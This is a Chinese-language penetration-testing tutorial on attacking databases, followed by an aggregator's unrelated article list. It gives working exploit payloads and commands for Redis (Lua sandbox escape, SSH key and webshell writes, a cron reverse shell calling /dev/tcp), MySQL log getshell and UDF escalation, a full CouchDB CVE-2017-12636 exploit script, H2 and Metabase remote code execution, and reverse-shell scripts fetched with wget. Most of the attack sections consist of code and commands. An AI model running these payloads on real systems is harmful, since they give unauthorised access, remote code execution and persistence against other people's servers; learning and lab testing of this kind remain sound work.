数据库攻防学习

news2024/11/15 1:36:44

免责声明

本文仅供学习和研究使用,请勿使用文中的技术用于非法用途,任何人造成的任何负面影响,与本号及作者无关。

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

0x02 环境搭建

这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。

03eb4ff351baafe953075498014b02f1.jpeg

ubuntu 20.04+docker

docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。

9ec58c8ea09094c328d43ac5e26aaca4.jpeg
0x03漏洞复现
Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

代码如下

local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

payload如下

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞复现

2efdc4c1d822bd0b91c9e79e8fd0f0d2.jpeg
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0
220493085e78e96cce703a83b2602549.jpeg

这里可以用another redis 这个个管理工具,方便redis数据库使用

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0
b12d261cde7af2de966d66bd23a8b0c6.jpeg
未授权访问redis 未授权访问 (CNVD-2015-07557)

这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。

攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。

1.linux写入公钥

利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx
d24f25a0d4034707af0f24708805fe26.jpeg fa42203bf619ea9b0ffb61185bf5e831.jpeg ea61a5b8ddefba72ada76de53079ca91.jpeg

这里权限不够,这个是vulfocus有问题

满足条件的话可以直接这样,可以自己搭建一个redis环境做实验

具体搭建可参考

https://blog.csdn.net/qq_41210745/article/details/103305262

c43bb6ee63dbf573cdff7480e11d9807.jpeg

yes要改成no

3604e382340698f8e8f8d35c7d17f87f.jpeg

环境启动,接着

70224c1f0e0d9426c7e1a3c435535d92.jpeg
config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP
83b2001f613f9614633aa4a8b6c52a81.jpeg

已经成功写入

进入该ubuntu查看 cd /root/.ssh/

a59c65c7fcc2503d6aac550f2520c48b.jpeg

尝试SSH连接

ssh -i id_rsa root@192.168.48.133
9f3bafb6af29878ef141e1b2941e570b.jpeg

可以看到成功拿下

2.写入webshell

前提条件,有可写权限,存在web服务,知道web路径

继续用该环境下尝试webshell写入

命令如下

FLUSHALL 使用这个清空之前的配置

前提条件,web目录可以读写

config set dir /tmp 设置WEB写入目录

config set dbfilename test.php 设置写入文件名

set test "<?php phpinfo();?>" 设置写入文件代码

set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败

bgsave 保存执行

save

chmod -R 777 /var/www/html/

这里设置html尝试写入webshell

e7992a950e7272803c0a83723b2cc6bf.jpeg

3.写计划任务反弹shell

FLUSHALL 记得清空配置

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

环境依然是上面的配置环境

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"

config set dbfilename x

save

set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

可以看到有乱码,ubuntu并未正常执行

9fcbcb9acc6414b6969714f2a4dd7a44.jpeg 2f8a5ed06f0b9e8a913fb9feb865c7bf.jpeg cfb8cdb53b0823a66ce2d83795fb3321.jpeg
主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell

https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行

redis-rogue-serve

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IP

python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132
7e4f97b3896f384b7467eb7090a3bc41.jpeg

redis-rogue-getshell

这里记得要编译

cd RedisModulesSDK/

make

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"

实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况

天翼杯

考点反序列化,redis主从复制RCE代码

<?php

class a{

public $code = "";

function __call($method,$args){

eval($this->code);

}

// function __wakeup(){

// $this->code = "";

// }

}

class b{

function __destruct(){

echo $this->a->a();

}

}

$a=new A();

$b=new B();

$a->code="phpinfo();";

$b->a=$a;

echo
serialize($b);

构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。

__call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法

这里__destruct方法调用了一个不存在的a方法,那么会调用到__call方法

因为__wakeup方法中$this->code = "";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤,所以接下来要做到绕过__wakeup和正则,这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

85ff9a7302924b2cf277ef0d9727b38f.jpeg

这里无法执行system("ls")

912ab236e5bdfcb200d1a2c832ddfcdb.jpeg

蚁剑连接$a->code="eval($_POST["a"]);";

bebc14903440d6fef4df02fa3e7585e7.jpeg ae8962fb3cc1a546f7b2eec902eb29b4.jpeg

打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上

1780bdafb5490ff8645588f39ee573ff.jpeg 6e2ae8866b47ffd96bd4a172334bdf46.jpeg

使用EXP.so文件

54911177e3d515b806dd38417a2b8d87.jpeg

MODULE LOAD /var/www/html/exp.so

c3865d4aa73112bc09db6118a9ed64de.jpeg

然后就可以进行命令执行了

57e09e49378f37ae38a81f5d616a9375.jpeg

若有收获,就点个赞吧

mysql

0x01mysql学习

MySQL 是瑞典的MySQL AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。

0x02环境搭建

这里演示用,phpstudy搭建的环境,然后安装phpmyadmin

b37438f0ae7efb056433db64c070c179.jpeg
0x03漏洞复现
日志文件包含getshell

利用前提

知道网站路径,mysql版本大于5.0

利用条件 需要可读可写的权限,也就是高权限账号

所用到的命令

show variables like '%general%'; 查看日志读写功能

SET GLOBAL general_log='on';开启日志读写功能

select @@basedir;查看mysql所在的绝对路径

SHOW VARIABLES LIKE "secure_file_priv";如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。

SET GLOBAL general_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径

793d280841e564b9440e896cee1a523b.jpeg 58d699c55baf86864c0ac86724992d4c.jpeg

修改设置,该为开启,这样才能继续利用。

6ba02386d5fd574ea1a4dd11722fc991.jpeg

再次查询,可以发现已经发生了改变

3a2f78fc1a4a1f65e6a4ff51328a6d51.jpeg

访问验证

7f93dae88901cbc15f340ba5664406b4.jpeg

select '';

a8b78a343ceed199545148593d402aeb.jpeg 3078e0a85b0f1dfe4637077975d36301.jpeg

总结,如果SHOW VARIABLES LIKE "secure_file_priv";为NULL则没办法使用into outfile 写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。

mysql udf提权

这里使用win10 +phpstudy,直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf?

udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限,即secure_file_priv的值为空。

show global variables like'%secure%';用这个查询

提权背景

拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件,可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like'%secure%';

500e8ad0fd6e50c8b5841c4663f03165.jpeg

如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。

bb843b9b2f4660bbf8e6ea43aa1e7a52.jpeg

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个,也可以用NTFS ADS方法创建目录,但有可能不成功。

show variables like 'plugin%';

查询发现已经有了,然后进行文件写入。

44c23486738e3d286a16a0e930763a82.jpeg

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can't open shared library 'udf.dll',切换成32位试试。

31ef82f4655c804995dc93a485a04302.jpeg

实战中不成功,可以轮流尝试。

6b00b5c295e10adab5f91748d0feea25.jpeg

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

select sys_eval('whoami');

select sys_eval('dir');

3909cfa7c1c65bcd6805f55a91ed8ca9.jpeg

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现
CVE-2017-12635
7003468cdff4056a41755213eb12bc45.jpeg

PUT发包创建用户

选择内网映射端口为5984的抓包访问

db2f947d1a66d1d21441ffba9d513bcd.jpeg

http://192.168.48.133:54944/_utils/#login

afe092277a47eb6b6b8eca390a951cad.jpeg

这个为登陆应用

发包目的是增加用户,可以用bp或者postman

45e1a21654713e863923304bd8e9616d.jpeg
PUT /_users/org.couchdb.user:vulhub HTTP/1.1

Host:

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 110

{

"type": "user",

"name": "vulhub",

"roles": ["_admin"],

"roles": [],

"password": "vulhub"

}
7b3142a5b66949f4fed30c3ebae31fa5.jpeg 981fabfadee93479aeb0130193b1cdbc.jpeg

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requests

import json

import base64

from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'

command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""

version = 1

session = requests.session()

session.headers = {

'Content-Type': 'application/json'

}

# session.proxies = {

# 'http': 'http://127.0.0.1:8085'

# }

session.put(target + '/_users/org.couchdb.user:wooyun', data='''{

"type": "user",

"name": "wooyun",

"roles": ["_admin"],

"roles": [],

"password": "wooyun"

}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()

if version == 1:

session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))

else:

host = session.get(target +
'/_membership').json()['all_nodes'][0]

session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))

session.put(target + '/wooyun')

session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')

if version == 1:

session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')

else:

session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')
29dce664839c4d79ee01f6e359c45e43.jpeg

h2database数据库

H2 是一个开源的嵌入式数据库引擎,纯 java 实现的关系型数据库,不受平台的限制。

11e4bcdeb838575fccc3810793a04858.jpeg
未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

99a04f7cbd9e5fa3d312f58d42646d4b.jpeg

在JDBC URL输入这个语句点击connect即可未授权访问

e93191d367c80e30357c4b5d6cf7dc9c.jpeg
RCE姿势

在VPS里面创建个sql文件,然后远程加载利用服务。

re_shell.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

bash -i >& /dev/tcp/ip/7888 0>&1
9f478df98ed8da218eb6c138d5983457.jpeg

远程加载姿势如下,填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';
b3945160215d63a4e9666f1cc55a6145.jpeg

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

2a54b920b658a19b3ffb2e9d1798251d.jpeg

存在未授权访问漏洞

99a9c90795f0fa6db7873a160df58dfe.jpeg

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 (CVE-2021-41277)

payload /api/geojson?url=file:/etc/passwd

129e2549cf1984f2fbe7e9c1a901478e.jpeg
Metabase 远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。

这里使用vulhub的docker环境,vulfocus可能有问题没复现成功

GET访问

/api/session/properties

798c35ed3820ffd15a2bdcf0826b9444.jpeg
exp

POST /api/setup/validate HTTP/1.1

Host: your-ip

Content-Type: application/json

{

"token": "token值",

"details":

{

"is_on_demand": false,

"is_full_sync": false,

"is_sample": false,

"cache_ttl": null,

"refingerprint": false,

"auto_run_queries": true,

"schedules":

{},

"details":

{

"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x",

"advanced-options": false,

"ssl": true

},

"name": "test",

"engine": "h2"

}

}

验证一下

python启动一个http服务,然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

42728134733aef8d26df9beefbc17aec.jpeg

验证成功

8db9231b16cb9bd3fb005163fdb993b5.jpeg

尝试反弹shell

未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

2681c8bc52908a8322a7bb1658038f3a.jpeg

创建个re_shell.sh,内容如下

!/bin/sh

bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'

执行 wget http://ip:port/re_shell.sh
f053ab8602d521ace306f9b59010c01c.jpeg

执行

/bin/bash /tmp/re_shell.sh

7299d4021272425042557c9a9b631b24.jpeg

成功反弹shell

7d33c62e0fc7f17824a8b1bb720b47b4.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

0d668280f7ca3eea3ea79afed61ec1b5.gif

年终福利来了,戳"阅读原文"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1354203.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【UEFI基础】EDK网络框架(通用函数和数据)

通用函数和数据 DPC DPC全称Deferred Procedure Call。Deferred的意思是“延迟”&#xff0c;这个DPC的作用就是注册函数&#xff0c;然后在之后的某个时刻调用&#xff0c;所以确实是有“延迟”的意思。DPC在UEFI的实现中包括两个部分。一部分是库函数DxeDpcLib&#xff0c;…

知识付费平台搭建?找明理信息科技,专业且高效

明理信息科技知识付费saas租户平台 在当今数字化时代&#xff0c;知识付费已经成为一种趋势&#xff0c;越来越多的人愿意为有价值的知识付费。然而&#xff0c;公共知识付费平台虽然内容丰富&#xff0c;但难以满足个人或企业个性化的需求和品牌打造。同时&#xff0c;开发和…

【MATLAB第88期】基于MATLAB的6种神经网络(ANN、FFNN、CFNN、RNN、GRNN、PNN)多分类预测模型对比含交叉验证

【MATLAB第88期】基于MATLAB的6种神经网络&#xff08;ANN、FFNN、CFNN、RNN、GRNN、PNN&#xff09;多分类预测模型对比含交叉验证 前言 本文介绍六种类型的神经网络分类预测模型 1.模型选择 前馈神经网络 (FFNN) 人工神经网络 (ANN) 级联前向神经网络 (CFNN) 循环神经网…

QT上位机开发(串口界面设计)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 如果上位机要和嵌入式设备进行打交道的话&#xff0c;那么串口可能就是我们遇到的第一个硬件设备。串口的物理接线很简单&#xff0c;基本上就是收…

前端-relation-graph实现关系数据展示(关系图/流程图)

目录 前言&#xff1a; 1. relation-graph 2. relation-graph数据关系组件---官方地址relation-graph - A Relationship Graph Componenthttps://www.relation-graph.com/ 3. 选择relation-graph的理由 4. 项目中引用relation-graph 4.1 下载命令 4.2 在Vue 2 中使用 4…

CGAL的无限制的Delaunay图

本章描述了构建L∞距离下线段Delaunay图的算法和几何特征。这些特征还包括绘制L∞距离下线段Delaunay图对偶&#xff08;即L∞距离下线段Voronoi图&#xff09;边缘的方法。L∞算法和特征依赖于欧几里得&#xff08;或L2&#xff09;距离下的线段Delaunay图算法和特征。L∞度量…

【动态规划】C++算法:44 通配符匹配

作者推荐 【动态规划】【字符串】扰乱字符串 本文涉及的基础知识点 动态规划 LeetCode44 通配符匹配 给你一个输入字符串 (s) 和一个字符模式 &#xff0c;请你实现一个支持 ‘?’ 和 ‘’ 匹配规则的通配符匹配&#xff1a; ‘?’ 可以匹配任何单个字符。 ’ 可以匹配…

动手学深度学习之卷积神经网络之池化层

池化层 卷积层对位置太敏感了&#xff0c;可能一点点变化就会导致输出的变化&#xff0c;这时候就需要池化层了&#xff0c;池化层的主要作用就是缓解卷积层对位置的敏感性 二维最大池化 这里有一个窗口&#xff0c;来滑动&#xff0c;每次我们将窗口中最大的值给拿出来 还是上…

大创项目推荐 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习人脸表情识别系…

【JavaFX】JavaFX11开发踩坑记录

文章目录 技术栈踩坑记录 技术栈 JavaFX 11MavenJDK 11 踩坑记录 这些坑对于初学者很容易踩&#xff0c;JavaFX经常会报错空指针异常遇到其中一个问题可能就会消耗好几天的时间。 JavaFX 采用的是MVC架构设计&#xff0c;页面设计使用 fxml文件&#xff1b;业务逻辑采用Con…

k8s的网络

k8s的网络 k8s中的通信模式&#xff1a; 1、pod内部之间容器与容器之间的通信 在同一个pod中的容器共享资源和网络&#xff0c;使用同一个网络命名空间&#xff0c;可以直接通信的 2、同一个node节点之内&#xff0c;不同pod之间的通信 每个pod都有一个全局的真实的ip地址…

qt 异常汇总

1. C2338 No Q_OBJECT in the class with the signal (编译源文件 ..\..\qt\labelme-master\src\mainwindow.cpp mainwindow头文件中的类没有Q_OBJECT宏定义&#xff0c;或者其子类或者其他依赖没有Q_OBJECT宏定义。 全部qt类都要写上Q_OBJECT. 2. C2385 对connect的访…

AI:116-基于深度学习的视频行为识别与分析

🚀点击这里跳转到本专栏,可查阅专栏顶置最新的指南宝典~ 🎉🎊🎉 你的技术旅程将在这里启航! 从基础到实践,深入学习。无论你是初学者还是经验丰富的老手,对于本专栏案例和项目实践都有参考学习意义。 ✨✨✨ 每一个案例都附带有在本地跑过的关键代码,详细讲解供…

ctfshow——PHP特性

文章目录 web 89web 90web 91web 92web 93web 94web 95web 96web 97web 98web 99 web 89 使用人工分配 ID 键的数值型数组绕过preg_match. 两个函数&#xff1a; preg_match()&#xff1a;执行正则表达式&#xff0c;进行字符串过滤。preg_match函数用法&#xff0c;正则表达式…

uni-app 前后端调用实例 基于Springboot 详情页实现

锋哥原创的uni-app视频教程&#xff1a; 2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中..._哔哩哔哩_bilibili2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中...共计23条视频&#xff0c;包括&#xff1a;第1讲 uni…

【Java EE初阶七】多线程案例(生产者消费者模型)

1. 阻塞队列 队列是先进先出的一种数据结构&#xff1b; 阻塞队列&#xff0c;是基于队列&#xff0c;做了一些扩展&#xff0c;适用于多线程编程中&#xff1b; 阻塞队列特点如下&#xff1a; 1、是线程安全的 2、具有阻塞的特性 2.1、当队列满了时&#xff0c;就不能往队列里…

Yapi安装配置(CentOs)

环境要求 nodejs&#xff08;7.6) mongodb&#xff08;2.6&#xff09; git 准备工作 清除yum命令缓存 sudo yum clean all卸载低版本nodejs yum remove nodejs npm -y安装nodejs,获取资源,安装高版本nodejs curl -sL https://rpm.nodesource.com/setup_8.x | bash - #安装 s…

图片中src属性绑定不同的路径

vue3 需求是按钮disable的时候&#xff0c;显示灰色的icon&#xff1b;非disable状态&#xff0c;显示白色的icon 一开始src写成三元表达式&#xff0c;发现不行&#xff0c;网上说src不能写成三元表达式&#xff0c;vue会识别成字符串 最后的解决方案 同时&#xff0c;发现…

win下持续观察nvidia-smi

简介&#xff1a;在Windows操作系统中&#xff0c;没有与Linux中watch命令直接对应的内置工具&#xff0c;但有1种方法快速简单的方法可以实现类似的效果&#xff0c;尤其是用于监控类似于nvidia-smi的命令输出。 历史攻略&#xff1a; Python&#xff1a;查看windows下GPU的…

美国地质调查局历史地形图

简介 美国地质调查局地形图的历史可以追溯到 19 世纪末&#xff0c;当时美国地质调查局开始着手绘制整个美国的详细地图。1:24,000 比例尺&#xff0c;也称为 7.5 分四边形地图&#xff0c;成为最广泛使用的比例尺之一。每张地图覆盖 7.5 分经纬度的区域&#xff0c;从而详细呈…